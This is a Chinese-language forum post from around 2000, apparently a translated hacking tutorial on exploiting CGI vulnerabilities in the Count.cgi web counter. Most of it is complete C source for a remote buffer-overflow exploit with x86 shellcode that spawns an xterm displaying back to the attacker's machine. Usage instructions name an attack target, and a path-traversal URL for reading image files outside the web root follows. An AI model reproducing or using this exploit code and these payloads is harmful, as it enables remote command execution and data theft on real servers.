发信人: iamu() 
整理人: williamlong(2000-03-07 19:01:03), 站内信件
 | 
 
 
CGI漏洞的利用(二)
     CGI漏洞向来是容易被人们忽视的问题,同时也是普遍存在的,前不久攻破P CWEEK LINUX的黑客就是利用了CGI的一个漏洞。我就自己所知道的和从外国站点 看来的一些CGI漏洞来写一些利用CGI的攻击方法,水平有限写得不对的地方请来 信告诉我:[email protected]
 
 四、Count.cgi溢出漏洞
    
     Count.cgi(wwwcount)是国外网站经常用的CGI网页计数程序,国内很少有 人用它,不过还是有一些网站的CGI-BIN目录下有它,简单说一下它的原理以及利 用方法。
     出现问题主要是由于QUERY_STRING 环境变量被复制到一个活动缓冲区,造成 溢出,允许远程用户以HTTP管理员的身份执行任意命令。
     有人写了个程序来利用这个漏洞,只对Count.cgi 24以下版本有效:
 /*###  count.c  ###################################################### ##*/
 #include <stdio.h>
 #include <stdlib.h>
 #include <getopt.h>
 #include <unistd.h>
 #include <sys/socket.h>
 #include <sys/types.h>
 #include <netinet/in.h>
 #include <netdb.h>
 #include <errno.h>
 
 /* Forwards */
 unsigned long getsp(int);
 int usage(char *);
 void doit(char *,long, char *);
 
 /* Constants */
 char shell[]=
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
 "\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
 "\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
 "\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
 "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
 "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
 "/usr/X11R6/bin/xterm0-ut0-display0";
 char endpad[]=
 "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
 "\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";
 
 
 
 int main (int argc, char *argv[]){
   char *shellcode = NULL;
   int cnt,ver,retcount, dispnum,dotquads[4],offset;
   unsigned long sp;
   char dispname[255];
   char *host;
 
   
   offset = sp = cnt = ver = 0;
   fprintf(stderr,"\t%s - Gus\n",argv[0]);
   if (argc<3) usage(argv[0]);
 
   while ((cnt = getopt(argc,argv,"h:d:v:o:")) != EOF) {
     switch(cnt){
     case 'h':
       host = optarg;
       break;
     case 'd':
       {
     retcount = sscanf(optarg, "%d.%d.%d.%d:%d", 
               &dotquads[0],
               &dotquads[1],
               &dotquads[2],
               &dotquads[3], &dispnum);
     if (retcount != 5) usage(argv[0]);
     sprintf(dispname, "%03d.%03d.%03d.%03d:%01d", 
         dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
     shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpa d));
     sprintf(shellcode,"%s%s%s",shell,dispname,endpad);
       }
     break;
     case 'v':
       ver = atoi(optarg);
       break;
     case 'o':
       offset = atoi(optarg);
       break;
     default:
       usage(argv[0]);
       break;
     }
   }
   
   sp = offset + getsp(ver);  
 
 
   (void)doit(host,sp,shellcode);
 
   exit(0);
 }
 
 unsigned long getsp(int ver) {
 
   /* Get the stack pointer we should be using. YMMV. If it does not wo rk,
      try using -o X, where x is between -1500 and 1500 */
   unsigned long sp=0;
   
   if (ver == 15) sp = 0xbfffea50;
   if (ver == 20) sp = 0xbfffea50;
   if (ver == 22) sp = 0xbfffeab4;
   if (ver == 23) sp = 0xbfffee38; /* Dunno about this one */
   if (sp == 0) {
     fprintf(stderr,"I don't have an sp for that version try using the  -o option.\n");
     fprintf(stderr,"Versions above 24 are patched for this bug.\n");
     exit(1);
   } else {
     return sp;
   }
 
 }
 
 
 int usage (char *name) {
   fprintf(stderr,"\tUsage:%s -h host -d <display> -v <version> [-o <of fset>]\n",name);
   fprintf(stderr,"\te.g. %s -h www.foo.bar -d 127.0.0.1:0 -v 22\n",nam e);
   exit(1);
 }
 
 int openhost (char *host, int port) {
   
   int sock; 
   struct hostent *he;
   struct sockaddr_in sa;
 
   he = gethostbyname(host);
   if (he == NULL) {
     perror("Bad hostname\n");
     exit(-1);
   }
 
   memcpy(&sa.sin_addr, he->h_addr, he->h_length);
   
   sa.sin_port=htons(port);
   sa.sin_family=AF_INET;
   sock=socket(AF_INET,SOCK_STREAM,0);
   if (sock < 0) {
     perror ("cannot open socket");
     exit(-1);
   }
   bzero(&sa.sin_zero,sizeof (sa.sin_zero));
 
   if (connect(sock,(struct sockaddr *)&sa,sizeof sa)<0) {
     perror("cannot connect to host");
     exit(-1);
   }
   
   return(sock);
 }
 
 
 void doit (char *host,long sp, char *shellcode) {
 
   int cnt,sock;
   char qs[7000];
   int bufsize = 16;
   char buf[bufsize];
   char chain[] = "user=a";
   
   bzero(buf);
     
 
   for(cnt=0;cnt<4104;cnt+=4) {
     qs[cnt+0] = sp &  0x000000ff;
     qs[cnt+1] = (sp & 0x0000ff00) >> 8;
     qs[cnt+2] = (sp & 0x00ff0000) >> 16;
     qs[cnt+3] = (sp & 0xff000000) >> 24;
   }
   strcpy(qs,chain);
   qs[strlen(chain)]=0x90;
 
   qs[4104]= sp&0x000000ff;
   qs[4105]=(sp&0x0000ff00)>>8;
   qs[4106]=(sp&0x00ff0000)>>16;
   qs[4107]=(sp&0xff000000)>>24;
   qs[4108]= sp&0x000000ff;
   qs[4109]=(sp&0x0000ff00)>>8;
   qs[4110]=(sp&0x00ff0000)>>16;
   qs[4111]=(sp&0xff000000)>>24;
   qs[4112]= sp&0x000000ff;
   qs[4113]=(sp&0x0000ff00)>>8;
   qs[4114]=(sp&0x00ff0000)>>16;
   qs[4115]=(sp&0xff000000)>>24;
   qs[4116]= sp&0x000000ff;
   qs[4117]=(sp&0x0000ff00)>>8;
   qs[4118]=(sp&0x00ff0000)>>16;
   qs[4119]=(sp&0xff000000)>>24;
   qs[4120]= sp&0x000000ff;
   qs[4121]=(sp&0x0000ff00)>>8;
   qs[4122]=(sp&0x00ff0000)>>16;
   qs[4123]=(sp&0xff000000)>>24;
   qs[4124]= sp&0x000000ff;
   qs[4125]=(sp&0x0000ff00)>>8;
   qs[4126]=(sp&0x00ff0000)>>16;
   qs[4127]=(sp&0xff000000)>>24;
   qs[4128]= sp&0x000000ff;
   qs[4129]=(sp&0x0000ff00)>>8;
   qs[4130]=(sp&0x00ff0000)>>16;
   qs[4131]=(sp&0xff000000)>>24;
   strcpy((char*)&qs[4132],shellcode);
 
   sock = openhost(host,80);
   write(sock,"GET /cgi-bin/Count.cgi?",23);
   write(sock,qs,strlen(qs));
   write(sock," HTTP/1.0\n",10);
   write(sock,"User-Agent: ",12);
   write(sock,qs,strlen(qs));
   write(sock,"\n\n",2);
   sleep(1);
      
   /* printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %s\n\n",q s,qs); */
 
   /*
   setenv("HTTP_USER_AGENT",qs,1); 
   setenv("QUERY_STRING",qs,1);
   system("./Count.cgi");
   */
 }
 
 ——————————————————————————————————— —
 
 用法是:count -h <攻击目标IP> -d <显示> -v <Count.cgi的版本>
 例如:count -h www.foo.bar -d 127.0.0.1:0 -v 22
 
 五、用Count.cgi看图片
 
     这个不算是很有用的漏洞,可是既然写到这儿了,也就顺便提一下吧。可以 利用Count.cgi看WEB目录以外的图片,据作者说有一些商业网站的图片里有一些 商业机密,所以这个漏洞也算是有点用处吧!哈哈!
 
 在浏览器中这样输入:
 http://attacked.host.com/cgi-bin/Count.cgi?display=image&image=../../. ./../../../path_to_gif/file.gif
 
 其中/path_to_gif/file.gif是你要看的图片的路径。
 
 注意,这一漏洞只能被用来看(或下载)GIF格式的图片,而不能用于其他类型的 文件。
 
 ____________________________________________________________________
 
 本文是由darksun成员ISNO翻译,如转载请保持文章完整。
 http://isno.yeah.net
     
 
  -- =====================================================
 黑客=安全??http://isno.yeah.net
 =====================================================
  ※ 来源:.月光软件站 http://www.moon-soft.com.[FROM: 202.99.62.155]
  | 
 
 
 |